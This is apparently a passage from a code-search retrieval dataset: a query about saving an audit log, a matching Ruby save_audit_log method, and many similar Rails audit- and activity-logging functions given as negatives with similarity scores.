create_log\n\t\tApplicationLog.find_or_create_by(\n\t\t\tchecksum: self.checksum,\n\t\t)\n\tend", "def logAudit(event, targetType, target, blob=nil, uid=session[:uid])\n\tif(blob.nil?)\n\t\treturn AuditRecord.create(:event_at => DateTime.now, :event_type => event, :actor => uid, :target_a_type => targetType, :target_a => target.to_s)\n\telse\n\t\treturn AuditRecord.create(:event_at => DateTime.now, :event_type => event, :actor => uid, :target_a_type => targetType, :target_a => target.to_s, :blob => blob.to_json)\n\tend\nend", "def save_changes_from(record)\n self.save_base_attributes(record)\n if record.new_record?\n self.log_type = \"created\"\n end\n self.extract_changes_from(record)\n end", "def audit_logs()\n return MicrosoftGraph::AuditLogs::AuditLogsRequestBuilder.new(@path_parameters, @request_adapter)\n end", "def create_log\n UserActivityLog.using_client_shard(client: @client).create!(\n user_id: @user_id,\n admin_id: @admin_id,\n log_type: log_type,\n action: @action,\n action_timestamp: @action_timestamp,\n e_data: @e_extra_data\n )\n end", "def newlog(name, accesscode, status)\n @log = Log.new\n @log.name = name\n @log.accesscode = accesscode\n @log.status = status\n @log.gid = Guest.where(:name => name).first.try(:id)\n @log.save\n end", "def history_log(type, user_id, attributes = {})\n\n attributes.merge!(\n o_id: self['id'],\n history_type: type,\n history_object: self.class.name,\n related_o_id: nil,\n related_history_object: nil,\n updated_at: updated_at,\n created_at: updated_at,\n ).merge!(history_log_attributes)\n\n SygiopsSupport::History.add(attributes)\n end", "def after_create(record)\n create_event_log(record, 'created')\n end", "def store_audit_trail(options = {})\n state_machine = self\n state_machine.transition_class_name = (options[:to] || default_transition_class_name).to_s\n state_machine.after_transition do |object, transition|\n state_machine.audit_trail(options[:context_to_log]).log(object, transition.event, transition.from, transition.to)\n end\n\n unless state_machine.action == nil\n state_machine.owner_class.after_create do |object|\n if !object.send(state_machine.attribute).nil?\n state_machine.audit_trail(options[:context_to_log]).log(object, nil, nil, object.send(state_machine.attribute))\n end\n end\n end\n end", "def set_audit_trail\n @audit_trail = AuditTrail.find(params[:id])\n end", "def add_audit_trail(options = {})\r\n #logger.info(\"*** Adding audit trail. options: #{options.inspect}\")\r\n return false unless current_user and options[:details] \r\n if current_user\n\toptions[:user_id] = current_user.id \n else\n\toptions[:user_id] = 0 \n end\t\r\n\r\n if @article_submission\r\n options[:article_submission_id] ||= @article_submission.id\r\n end\r\n if @user\r\n options[:user_acted_as_id] ||= @user.id\r\n end\r\n if @contribution\r\n options[:contribution_id] ||= @contribution.id\r\n end\r\n if @coi_form\r\n options[:coi_form_id] || @coi_form.id\r\n end\r\n \r\n audit_trail = AuditTrail.create(options)\r\n logger.info(\"*** Created audit trail: #{audit_trail.inspect}\")\r\n end", "def log_request(activity=nil)\n return if ! @logged.nil?\n @logged=true \n if current_user_model.blank? or current_user_model.id.blank? then\n the_id = -1\n else\n the_id = current_user_model.id\n end\n log_entry = Log.create( \n :investigator_id => the_id,\n :activity => activity || self.controller_name + \":\" + self.action_name,\n :controller_name => self.controller_name,\n :action_name => self.action_name,\n :created_ip => request.remote_ip,\n :params => params.inspect)\n log_entry.save\n end", "def set_audit_log\n @audit_log = AuditLog.find(params[:id])\n end", "def create\n @audit_log = AuditLog.new(audit_log_params)\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to @audit_log, notice: 'Audit log was successfully created.' }\n format.json { render :show, status: :created, location: @audit_log }\n else\n format.html { render :new }\n format.json { render json: @audit_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def record\n\n end", "def record; end", "def record; end", "def record; end", "def audit verb = nil, data = nil\n extras = nil\n\n if verb\n extras = { verb: verb }\n extras[:data] = data if data\n end\n\n account = App::Context.current.account\n user = App::Context.current.user\n pk = self.class.primary_key\n delta = changes.except pk, *EXCLUSIONS if persisted?\n\n # Fail fast: If there's a delta, it's empty, and there are no\n # extras to be merged, there's no need to audit. Have to check\n # delta presence and contents separately because a `nil` delta\n # is a delete.\n\n return if delta and delta.empty? and not extras\n\n data = {\n account: account && account.id,\n at: Time.now.to_f,\n target: id,\n user: user && user.id\n }\n\n # If the delta exists, check it for anything sensitive that\n # needs to be redacted and then add it to the audit data.\n\n unless delta.empty?\n REDACTED.each do |k|\n delta[k] = [\"REDACTED\", \"REDACTED\"] if delta.include? k\n end\n\n data[:delta] = delta\n end\n\n data.merge! extras if extras\n App::Jobs::Mongo.enqueue \"audits.#{self.class.name}\", data\n\n nil\n end", "def log_event(info = nil)\n if current_user\n action = \"#{controller_name}/#{action_name}\"\n log = ActivityLog.new(user: current_user, action: action, info: info)\n log.save\n end\n end", "def new\n @log_entry = LogEntry.new\n end", "def report\n audit_store.to_h\n end", "def activity_log\n @identifier = Identifier.find(params[:id])\n created_at = SortableTable::SortColumnDefinition.new('created_at')\n sort_table = SortableTable::SortTable.new([created_at])\n @sort_column = sort_table.sort_column(params[:sort], params[:direction])\n resource_ids = @identifier.resources.collect(&:id)\n @curation_activities = CurationActivity.where(resource_id: resource_ids).order(@sort_column.order, id: :asc)\n @internal_data = InternalDatum.where(identifier_id: @identifier.id)\n end", "def activity_log_create\n write_activity_log(:create)\n raise Exception.new \"Shouldn't be calling activity_log_create\"\n end", "def write_activity_log(action = :update)\n begin\n # explicitly switch on timestamping for event log\n previous_record_timestamps = ActivityLog.record_timestamps\n ActivityLog.record_timestamps = true\n \n # make sure that no logging is done within :delay_after_create time;\n # if no waiting required && if the filtering not required, write the log straight away\n if (self.respond_to?(:created_at) && !self.created_at.nil? && Time.now > self.delay_after_create.since(self.created_at)) || action == :create || self.created_at.nil?\n write_log = (self.check_log_allowed ? self.log_allowed(action.to_s) : true)\n if write_log\n set_culprit\n set_referenced\n log_entry = ActivityLog.new(:action => action.to_s, :referenced => @referenced, :activity_loggable => self, :culprit => @culprit)\n log_entry.save\n end\n end\n \n ActivityLog.record_timestamps = previous_record_timestamps\n rescue Exception => e\n # something went wrong - exception was thrown\n al = ActivityLog.new(:action => action.to_s, :activity_loggable => self)\n al.save\n \n logger.error \"\\nERROR: acts_as_activity_logged - write_activity_log()\"\n logger.error \"an incomplete log entry in ActivityLog table was still made - ID = #{al.id}\"\n logger.error \"action: #{action.to_s}; activity_loggable: #{self.to_s}\"\n logger.error \"exception caught:\\n\" + e.to_s + \"\\n\"\n end\n return true\n end", "def new\n @log = Log.new\n end", "def record_activity(note)\n @activity = ActivityLog.new\n @activity.user_id = current_user.id\n @activity.note = note\n @activity.browser = request.env['HTTP_USER_AGENT']\n @activity.ip_address = request.env['REMOTE_ADDR']\n @activity.controller = controller_name\n @activity.action = action_name\n @activity.params = params.inspect\n @activity.parent_user_id = current_user.parent_id\n @activity.save\n end", "def make_log(current_employee, old_in, old_out, new_in, new_out)\n self.changelogs.build(:changed_by => current_employee.name, :old_in => old_in, :old_out => old_out, :new_in => new_in, :new_out => new_out)\n self.save!\n end", "def create\n @audit_trail = AuditTrail.new(audit_trail_params)\n\n respond_to do |format|\n if @audit_trail.save\n format.html { redirect_to @audit_trail, notice: \"Audit trail was successfully created.\" }\n format.json { render :show, status: :created, location: @audit_trail }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @audit_trail.errors, status: :unprocessable_entity }\n end\n end\n end", "def audit(*options)\n has_many :audits, :class_name => \"Auditable::Audit\", :as => :auditable\n after_create {|record| record.snap!(:action => \"create\")}\n after_update {|record| record.snap!(:action => \"update\")}\n\n self.audited_attributes = Array.wrap options\n end", "def audit(*options)\n has_many :audits, :class_name => \"Auditable::Audit\", :as => :auditable\n after_create {|record| record.snap!(:action => \"create\")}\n after_update {|record| record.snap!(:action => \"update\")}\n\n self.audited_attributes = Array.wrap options\n end", "def audit(audit_data)\n @log4r.debug(audit_data)\n end", "def create\n @tap_log_record = current_account.tap_log_records.new(params[:tap_log_record])\n authorize! :create, @tap_log_record\n\n respond_to do |format|\n if @tap_log_record.save\n format.html { redirect_to(@tap_log_record, :notice => 'Tap log record was successfully created.') }\n format.xml { render :xml => @tap_log_record, :status => :created, :location => @tap_log_record }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @tap_log_record.errors, :status => :unprocessable_entity }\n end\n end\n end", "def report\n @audits = Audit.all\n end", "def initialize repo, type\n @repo, @process, @type = repo, 'activity', type\n @log = RepoLog.create_log @repo, @process, @type\n end", "def audits\n Audit::Tracking.log.audits(audit_bucket, self.id)\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def create\n @object = @model_class.new(params[@model_class.name.tableize.singularize.to_sym])\n @model_class.transaction do\n @object.save!\n create_change_log_entry\n end\n respond_to do |format|\n flash[:notice] = @model_class.name.humanize + ' was successfully created.'\n format.html { redirect_to(@object) }\n format.xml { render :xml => @object, :status => :created, :location => @object }\n end\n end", "def log_action(object, method, opts)\n object_id = object.data_object_id if object.class.name == \"DataObjectsHierarchyEntry\" || object.class.name == \"CuratedDataObjectsHierarchyEntry\" || object.class.name == \"UsersDataObject\"\n object_id = object.id if object_id.blank?\n\n if object.class.name == \"DataObjectsHierarchyEntry\" || object.class.name == \"CuratedDataObjectsHierarchyEntry\"\n he = object.hierarchy_entry\n elsif object.class.name == \"HierarchyEntry\"\n he = object\n end\n\n if method == :add_association || method == :remove_association\n changeable_object_type = ChangeableObjectType.send(\"CuratedDataObjectsHierarchyEntry\".underscore.to_sym)\n else\n changeable_object_type = ChangeableObjectType.send(object.class.name.underscore.to_sym)\n end\n\n auto_collect(@data_object) # SPG asks for all curation to add the item to their watchlist.\n CuratorActivityLog.create(\n :user => current_user,\n :changeable_object_type => changeable_object_type,\n :object_id => object_id,\n :activity => Activity.send(method),\n :data_object => @data_object,\n :hierarchy_entry => he,\n :created_at => 0.seconds.from_now\n )\n end", "def create\n @audit_log = AuditLog.new(params[:audit_log])\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to(@audit_log, :notice => 'Audit log was successfully created.') }\n format.xml { render :xml => @audit_log, :status => :created, :location => @audit_log }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @audit_log.errors, :status => :unprocessable_entity }\n end\n end\n end", "def audit\n \"#{table.audit}.`#{name}`\"\n end", "def create_new_log (log_data)\n new_log = Log.new()\n logs_columns = Log.column_lists\n string_columns = logs_columns[\"string_columns\"]\n string_columns.each do |string_column|\n new_log[string_column] = log_data[string_column]\n end\n time_columns = logs_columns[\"time_columns\"]\n time_columns.each do |time_column|\n new_log[time_column] = Time.at(log_data[time_column].to_f / 1000).getutc\n end\n if new_log[\"application\"].to_s == ''\n new_log[:application] = \"Unknown: \" + request.referer.to_s\n end\n new_log[:parameters] = log_data[\"parameters\"] || {}\n new_log[:extras] = log_data.reject do |key, value|\n key == \"parameters\" || string_columns.include?(key) || time_columns.include?(key)\n end\n\n # first commit the log to the database\n saved = new_log.save\n\n # and then send the log message to the AWS log manager if defined\n if ENV[\"AWS_LOG_MANAGER_URL\"]\n result = HTTParty.post(ENV[\"AWS_LOG_MANAGER_URL\"], :body => log_data.to_json, :headers => {\"Content-Type\" => \"application/json\"})\n if result.code != 201\n logger.error(result)\n end\n end\n\n return saved, new_log\n end", "def history_log_attributes\n {}\n end", "def log(project, line_item_id, line_item_params, action)\n ProjectLog.create(project_id: project.id, line_item_id: line_item_id, params: line_item_params.to_json, action: action)\n end", "def save_with_auditing\n with_auditing { save }\n end", "def run\n print_debug 'In #run'\n audit self.class.payloads, self.class.options\n end", "def build\n { audit: @config }\n end", "def data \n @data \n @log.create_log_entry\n end", "def make_log_entry\n le = LogEntry.new(:description => \"Desc ##{sn}\")\n le end", "def record!\n if OhMyLog::Log.configuration.print_log\n p \"REQUEST\"\n p @request.to_s\n p \"RESPONSE\" unless @effects.empty?\n @effects.each {|effect| p effect.to_s}\n end\n\n print_into_log\n\n #we can record everything that happend (OPTIONALL)\n if OhMyLog::Log.configuration.record_history\n OhMyLog::Log.history << self\n end\n #We always save the last operation recorded\n OhMyLog::Log.last_recorded = self\n #save this string on file or upload it somewhere\n end", "def calculate_audit_for(param)\n #Gets all flattened attribute lists\n #objects are a hash of\n #{attributes: object attributes, whodunnit: paper_trail whodunnit which caused the object to be in this state}\n objects = [{attributes: self.attributes, whodunnit: self.paper_trail.originator},\n self.versions.map {|e| {attributes: YAML.load(e.object), whodunnit: e.paper_trail_originator} if e.object}.compact].flatten\n #rejecting objects with no update time, orders by the updated at times in ascending order\n objects = objects.select {|e| e[:attributes][\"updated_at\"]}.sort_by {|e| e[:attributes][\"updated_at\"]}\n result = []\n #Add the initial state if the first element has a value\n if(objects.count > 0 && !objects.first[:attributes][param.to_s].nil?)\n result << PaperTrailAudit::Change.new({old_value: nil,\n new_value: objects.first[:attributes][param.to_s],\n time: objects.first[:attributes][\"updated_at\"],\n whodunnit: objects.first[:whodunnit]\n })\n end\n objects.each_cons(2) do |a,b|\n if a[:attributes][param.to_s] != b[:attributes][param.to_s]\n result << PaperTrailAudit::Change.new({old_value: a[:attributes][param.to_s],\n new_value: b[:attributes][param.to_s],\n time: b[:attributes][\"updated_at\"],\n whodunnit: b[:whodunnit]\n })\n end\n end\n result\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def create_change_log_entry(object_id = nil, user_id = nil, action = nil, comments = nil)\n action = params[:action] if action.nil?\n comments = params[:change_log][:comments] unless !comments.nil? || (params[:change_log].nil? || params[:change_log][:comments].blank?)\n object_id = @object.id if object_id.nil?\n user_id = current_user.id if logged_in?\n if (comments.nil?)\n case action\n when 'create'\n comments = 'Initial creation of ' + params[:controller].singularize + '.'\n when 'update'\n comments = 'Updating information for ' + params[:controller].singularize + '.'\n else\n # Default to just listing the controller name and action\n comments = \"#{params[:controller]} #{params[:action]}\"\n end\n end\n @change_log = ChangeLog.new({:object_id => object_id, :user_id => user_id, :action => action, :comments => comments, :performed_at => Time.now.to_s(:db), :object_class => params[:controller].singularize})\n @change_log.save!\n end", "def data_for_create\n data = {\n event: @record.paper_trail_event || \"create\",\n whodunnit: PaperTrail.request.whodunnit\n }\n if @record.respond_to?(:updated_at)\n data[:created_at] = @record.updated_at\n end\n if record_object_changes? && changed_notably?\n data[:object_changes] = recordable_object_changes(changes)\n end\n add_transaction_id_to(data)\n merge_metadata_into(data)\n end", "def create\n # Store audit location place details if it's new\n if params[:location].present?\n @location = Location.find_by(id: params[:location][:id], name: params[:location][:name])\n @location = Location.new(location_params) if @location.blank?\n @audit = @location.audits.build(audit_params) if @location.save\n end\n # Initialize new audit object for validation\n @audit ||= Audit.new(audit_params)\n \n # save newly created audit object if it's valid\n if @audit.save\n # save paragraphs details which are involved in audit\n params[:audit][:paragraphs].each { |pa| @audit.audit_items.build(paragraph_id: pa).save } if params[:audit][:paragraphs].present?\n # save auditors details how will conduct audit\n params[:audit][:auditors].each { |employee| @audit.auditor_employees.build(employee_id: employee).save } if params[:audit][:auditors].present?\n # save auditees details how help in audit\n params[:audit][:auditees].each { |employee| @audit.auditee_employees.build(employee_id: employee).save } if params[:audit][:auditees].present?\n # save shadule details for audit paragraphs, when they will be conducted\n params[:audit][:fine_tunes].each do |fine_tune|\n if fine_tune[:date] && fine_tune[:start_time][:hour] && fine_tune[:start_time][:min] && fine_tune[:end_time][:hour] && fine_tune[:end_time][:min] && fine_tune[:paragraph]\n @audit.fine_tunes.build( ddate: Date.strptime(fine_tune[:date], \"%m/%d/%Y\"),\n start_hour: change_time(fine_tune[:start_time][:hour], fine_tune[:start_time][:min]),\n end_hour: change_time(fine_tune[:end_time][:hour], fine_tune[:end_time][:min]),\n notes: fine_tune[:note], paragraph_id: fine_tune[:paragraph]\n ).save\n end\n end if params[:audit][:fine_tunes].present?\n render json: @audit, status: :created\n else\n render json: @audit.errors, status: :unprocessable_entity\n end\n end", "def activity_log\n @identifier = Identifier.find(params[:id])\n created_at = SortableTable::SortColumnDefinition.new('created_at')\n sort_table = SortableTable::SortTable.new([created_at])\n @sort_column = sort_table.sort_column(params[:sort], params[:direction])\n @curation_activities = @identifier.curation_activities.order(@sort_column.order)\n end", "def set_audit_log_data\n @audit_log.auditable = @product_section if @audit_log\n end", "def log_activity(at, action = nil)\n unless activity_log\n update_attributes(:activity_log => ActivityLog.create(:user => self))\n end\n activity_log.add(at, action)\n end", "def create\n @audit = Audit.new(audit_params)\n\n respond_to do |format|\n if @audit.save\n format.html { redirect_to @audit, notice: 'Audit was successfully created.' }\n format.json { render :show, status: :created, location: @audit }\n else\n format.html { render :new }\n format.json { render json: @audit.errors, status: :unprocessable_entity }\n end\n end\n end", "def audit_history\n return [] if id.blank?\n return Audit.where( work_id: id ).order( created_at: :desc )\n end", "def create_log_item(options = {})\n options.reverse_merge! :note => 'System Generated', :user_id => self.id\n LogItem.create(options)\n end", "def log(notes)\n @uh_log ||= UserHistory.new\n @uh_log.log(self, notes)\n end", "def recent_activity\n AccessAuditRecord.recent_activity :as => 'table'\n end", "def audit_update(object, old_attributes, new_attributes)\n Audit.create!(\n created_at: Time.current,\n user_email: current_user.email,\n table_name: object.class.table_name,\n record_id: object.respond_to?(:id) && object.id || nil,\n action: 'update',\n before: old_attributes,\n after: new_attributes\n )\n end", "def create_record(line, path, log_state, process_fields)\r\n directives = {}\r\n\r\n # If we have directive information about fields in the logs parse it.\r\n if log_state.log_directives.fields != nil\r\n directives = Hash[log_state.log_directives.fields.zip(line.split(\" \"))]\r\n end\r\n\r\n if process_fields && log_state.log_directives.fields != nil\r\n record = directives\r\n elsif\r\n record = {'message' => line }\r\n end\r\n\r\n # Add information about where the log entry came from.\r\n record['log-path'] = path\r\n # Attempt to get a timestamp from the fields and/or directives.\r\n timestamp = get_timestamp(directives['date'], directives['time'], log_state.log_directives.date)\r\n record['timestamp'] = timestamp if timestamp != nil\r\n return record\r\n end", "def get_log_data\n OpenStruct.new(\n {\n log_level: self.class.to_s,\n can_attack: true,\n attack: @attack.get_log_data(),\n retaliation: @retaliation&.get_log_data(),\n hits_assignment: @hits_log,\n attacker: @attacking_unit.log_data,\n defender: @defending_unit.log_data\n }\n )\n end", "def sys_logger(action_logged)\n log = SysLog.new({:log_date => Time.now, :user_id => session[:user_id], :user_name => session[:user_name], :user_ip => session[:user_ip],\n :action_logged => action_logged}, :as => :logger)\n log.save!\n end", "def log_activity(issue, type, change)\n activities.build(:issue_id => issue.id,\n :type_of_change => type,\n :scope_change => change)\n end", "def to_audit_item(attribute = :created_at)\n if attribute == :created_at\n t = created_at\n message = \"#{name} signed up!\"\n elsif attribute == :updated_at\n t = updated_at\n message = \"#{name} updated their profile\"\n end\n AuditItem.new(self, t, 'company', message, \"companies/#{id}\")\n end", "def write_log( user = User.anonymous )\n options = { :user => user, :ip_address => user.ip_address }\n @changed_attributes.each do |a, v|\n options[:attribute] = a\n options[:old_value] = v.first\n options[:new_value] = v.last\n self.related_object.log_entries.create options unless options[:old_value].nil?\n end unless @changed_attributes.nil?\n end", "def auditable_attributes\n @@auditable_attributes ||= {} \n @@auditable_attributes\n end", "def provenance_log_create\n curation_concern.provenance_create( current_user: current_user, event_note: EVENT_NOTE )\n end", "def create_change_log_entry\n @change_log = @backup.create_change_log_entry(params[:action])\n @change_log.save!\n end", "def autolog_created\n autolog_event(:created)\n end" ]
[ "0.7297494", "0.70551753", "0.7006811", "0.68369746", "0.6808096", "0.6797971", "0.6742281", "0.67354566", "0.6696821", "0.6581385", "0.6576137", "0.6565416", "0.6540325", "0.652979", "0.64371985", "0.63804054", "0.63773644", "0.63701457", "0.63411784", "0.63338846", "0.6305243", "0.6267598", "0.6263219", "0.6263219", "0.6218067", "0.62095666", "0.61977065", "0.6162608", "0.6126395", "0.6092802", "0.6058808", "0.6056388", "0.60434973", "0.6035902", "0.6034873", "0.5999149", "0.598499", "0.5953544", "0.59522164", "0.5950098", "0.5950098", "0.5950098", "0.5948121", "0.59473825", "0.5932063", "0.59244686", "0.5911898", "0.5895061", "0.58912474", "0.58865994", "0.5883906", "0.5882595", "0.588017", "0.58791405", "0.58791405", "0.5873699", "0.58706266", "0.58276576", "0.5825711", "0.5823727", "0.58151156", "0.58151156", "0.58151156", "0.58002895", "0.57982934", "0.57933927", "0.5792222", "0.5775726", "0.5768163", "0.57615495", "0.57565373", "0.5749028", "0.5748097", "0.57475436", "0.5747284", "0.5743561", "0.573138", "0.57288396", "0.5726448", "0.57248586", "0.57232064", "0.5692825", "0.5692784", "0.56840825", "0.56752765", "0.567085", "0.5654921", "0.56321776", "0.56240493", "0.5621236", "0.5620544", "0.5612308", "0.56084406", "0.55982345", "0.55937046", "0.5588153", "0.5585129", "0.55817014", "0.55805385", "0.55746627" ]
0.707178
1
saves the initialzied audit log
def save_audit_log if (@audit_log && @audit_log.auditable) if ["update","destroy"].include?(action_name) update_and_destroy_audit elsif action_name == "create" create_audit end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def save_with_auditing\n with_auditing { save }\n end", "def initialize_audit_log\n # only save logs for POST,PUT,PATCH and DELETE methods\n # creates\n if (request.post? || request.patch? || request.put? || request.delete? )\n @audit_log = AuditLog.new\n @audit_log.ip = request.remote_ip\n @audit_log.user_name = current_user.full_name\n end\n\n end", "def set_audit_log_data\n @audit_log.auditable = @product_section if @audit_log\n end", "def audit\n data = {\"changes\" => changes, \"metadata\" => audit_metadata}\n Audit::Tracking.log.record(audit_bucket, self.id, data)\n end", "def save_log(description, action, owner_user_id)\n Log.save_log(description, action, owner_user_id, me.id)\n end", "def set_audit_log\n @audit_log = AuditLog.find(params[:id])\n end", "def audit_create\n if self.class.auditing_enabled\n write_audit(:create)\n end\n true\n end", "def setup_log\r\n logfile = File.open(\"/home/englandk/rails_apps/reminders/log/auto_enquiry.log\", 'a')\r\n \r\n @log = AuditLogger.new(logfile)\r\n @log.level = Logger::INFO\r\n @log.debug \"Started auto response email run\"\r\n end", "def save_with_audit!(object)\n before, after = changed_attributes(object)\n saved = object.save!\n audit_update(object, before, after)\n saved\n end", "def activity_log_create\n write_activity_log(:create)\n end", "def persist_audits\n quoted_login = ActiveRecord::Base.connection.quote(self.login)\n Audited::Audit.where( 'user_type = ? AND user_id = ?', self.class.name, self.id ).update_all(username: quoted_login)\n end", "def touch_when_logging\n self.log_updated_at = Time.zone.now\n save\n end", "def log \n @log #||= Log.create\n end", "def save_with_audit(object)\n before, after = changed_attributes(object)\n saved = object.save\n audit_update(object, before, after) if saved\n saved\n end", "def sys_logger(action_logged)\n log = SysLog.new({:log_date => Time.now, :user_id => session[:user_id], :user_name => session[:user_name], :user_ip => session[:user_ip],\n :action_logged => action_logged}, :as => :logger)\n log.save!\n end", "def log_create\n if self.class.name == 'ParticipantsSportEntry'\n model = self.sport_entry\n action = 'UPDATE'\n else\n model = self\n action = 'CREATE'\n end\n\n ModelAuditJob.perform_now(model, action, audit_user_id)\n end", "def set_audit_trail\n @audit_trail = AuditTrail.find(params[:id])\n end", "def log_saves \n s_log = File.open(\"../saves/log.yml\", \"w\")\n s_log.puts @@save_count\n s_log.close\n end", "def create_log_entry\n Rails.logger.debug(\"@@@ create_log_entry: task = #{@task.inspect} event = #{@event.inspect}\")\n params = Hash.new\n params[:user_id] = current_user.id\n params[:role_id] = current_user.role.id\n params[:ot_id] = @task.ot.id\n params[:task_id] = @task.id\n params[:description] = \"Transicion de #{@task.current_state} a #{@task.current_state.events[@event.to_sym].transitions_to}\"\n log_entry = Audit.new(params)\n log_entry.save\n end", "def build_saved_audit(rec, eh)\n build_audit_payload(rec, eh[:new], eh[:current], \"#{rec.class.to_s.downcase}_record_update\", \"Record updated\")\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def Auditlog( mo, msg )\n auditEntry = Audit.new\n auditEntry.message = \"#{mo} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n #auditEntry.origin = ip\n auditEntry.origin = request.remote_ip\n auditEntry.user = !current_user.nil? ? current_user.email : 'no-user'\n auditEntry.datetime = DateTime.now\n\n if !auditEntry.save\n _auditLog.info \"#{user} #{ip} #{caller[0][/`.*'/][1..-2]} #{msg.inspect}\"\n end\n\n end", "def create_change_log_entry\n @change_log = @backup.create_change_log_entry(params[:action])\n @change_log.save!\n end", "def save_without_auditing\n without_auditing { save }\n end", "def log\n parametros = {}\n parametros['action'] = params['action']\n parametros['controller'] = params['controller']\n parametros['fecha'] = Time.zone.now\n parametros['token'] = false\n puts parametros\n log = Log.create(parametros)\n\n # parametros['usuario'] = revisar_token()\n parametros['token'] = true\n log.update(parametros)\n end", "def audit(audit_data)\n @log4r.debug(audit_data)\n end", "def touch \n set_actionstamps\n save\n end", "def set_audit\n @audit = Audit.find(params[:id])\n end", "def log=(log); end", "def log_event(info = nil)\n if current_user\n action = \"#{controller_name}/#{action_name}\"\n log = ActivityLog.new(user: current_user, action: action, info: info)\n log.save\n end\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def audit_log_all\n\n if params[:controller] && params[:action]\n desc = params[:controller] + \"|\" + params[:action]\n desc << \"|id:#{params[:id]}\" if params[:id]\n\n ## log user email for now\n ## TODO: change to larger requester info set\n if current_user\n if desc =~ /sessions\\|destroy/\n desc << \"|LOGOUT\"\n end\n\n AuditLog.create(requester_info: current_user.email, event: \"USER_ACTION\", description: desc)\n else\n AuditLog.create(requester_info: \"NONE\", event: \"USER_ACTION\", description: desc)\n end\n\n end\n\n end", "def store_audit_trail(options = {})\n state_machine = self\n state_machine.transition_class_name = (options[:to] || default_transition_class_name).to_s\n state_machine.after_transition do |object, transition|\n state_machine.audit_trail(options[:context_to_log]).log(object, transition.event, transition.from, transition.to)\n end\n\n unless state_machine.action == nil\n state_machine.owner_class.after_create do |object|\n if !object.send(state_machine.attribute).nil?\n state_machine.audit_trail(options[:context_to_log]).log(object, nil, nil, object.send(state_machine.attribute))\n end\n end\n end\n end", "def icl_save( args )\n @foodDB.save( args )\n @log.save()\n end", "def audit_trail(context_to_log = nil)\n @transition_auditor ||= StateMachine::AuditTrail::Backend.create_for_transition_class(transition_class, self.owner_class, context_to_log)\n end", "def audit_log\n AuditLog.new(space_id, store_id)\n end", "def create\n @audit_log = AuditLog.new(audit_log_params)\n\n respond_to do |format|\n if @audit_log.save\n format.html { redirect_to @audit_log, notice: 'Audit log was successfully created.' }\n format.json { render :show, status: :created, location: @audit_log }\n else\n format.html { render :new }\n format.json { render json: @audit_log.errors, status: :unprocessable_entity }\n end\n end\n end", "def save_without_auditing\n without_auditing { save }\n end", "def audit_update\n self.modified_date = DateTime.now\n if self.created_date.blank?\n self.created_date = DateTime.now\n end\n end", "def set_log\n @log = Log.find(log_id)\n end", "def save_log\n logfile = File.open(\"DietLog.txt\", \"w\")\n @logHash.each do |date, items|\n items.each do |item|\n logfile.write(\"#{date},#{item.name}\\n\")\n end\n end\n logfile.close()\n @dirty = false\n end", "def save_tracker_cache\n # These values should only be written if the audit has been successful!!\n # Best to write it back to a new file - then move the new file to the\n # original location (overwriting the original)\n return if @parent.ret_val == 3\n tracker_file = get_tracker_filename\n File.open(tracker_file + \".temp\", 'w') { |f|\n # First, save the initial timestamp and the current SOA serial\n f.puts(@initial_timestamp.to_s)\n f.puts(@last_soa_serial.to_s)\n # Now save the cache!!\n Status.strings.each {|s|\n status = s.downcase\n eval \"@cache.#{status}.each {|key, time|\n write_key_to_file(f, key.to_s, status, time[0], time[1])\n }\".untaint\n }\n\n }\n # Now move the .temp file over the original\n File.delete(tracker_file)\n File.rename(tracker_file+\".temp\", tracker_file)\n end", "def write_activity_log(action = :update)\n begin\n # explicitly switch on timestamping for event log\n previous_record_timestamps = ActivityLog.record_timestamps\n ActivityLog.record_timestamps = true\n \n # make sure that no logging is done within :delay_after_create time;\n # if no waiting required && if the filtering not required, write the log straight away\n if (self.respond_to?(:created_at) && !self.created_at.nil? && Time.now > self.delay_after_create.since(self.created_at)) || action == :create || self.created_at.nil?\n write_log = (self.check_log_allowed ? self.log_allowed(action.to_s) : true)\n if write_log\n set_culprit\n set_referenced\n log_entry = ActivityLog.new(:action => action.to_s, :referenced => @referenced, :activity_loggable => self, :culprit => @culprit)\n log_entry.save\n end\n end\n \n ActivityLog.record_timestamps = previous_record_timestamps\n rescue Exception => e\n # something went wrong - exception was thrown\n al = ActivityLog.new(:action => action.to_s, :activity_loggable => self)\n al.save\n \n logger.error \"\\nERROR: acts_as_activity_logged - write_activity_log()\"\n logger.error \"an incomplete log entry in ActivityLog table was still made - ID = #{al.id}\"\n logger.error \"action: #{action.to_s}; activity_loggable: #{self.to_s}\"\n logger.error \"exception caught:\\n\" + e.to_s + \"\\n\"\n end\n return true\n end", "def make_log(current_employee, old_in, old_out, new_in, new_out)\n self.changelogs.build(:changed_by => current_employee.name, :old_in => old_in, :old_out => old_out, :new_in => new_in, :new_out => new_out)\n self.save!\n end", "def save_changes_from(record)\n self.save_base_attributes(record)\n if record.new_record?\n self.log_type = \"created\"\n end\n self.extract_changes_from(record)\n end", "def record!\n if OhMyLog::Log.configuration.print_log\n p \"REQUEST\"\n p @request.to_s\n p \"RESPONSE\" unless @effects.empty?\n @effects.each {|effect| p effect.to_s}\n end\n\n print_into_log\n\n #we can record everything that happend (OPTIONALL)\n if OhMyLog::Log.configuration.record_history\n OhMyLog::Log.history << self\n end\n #We always save the last operation 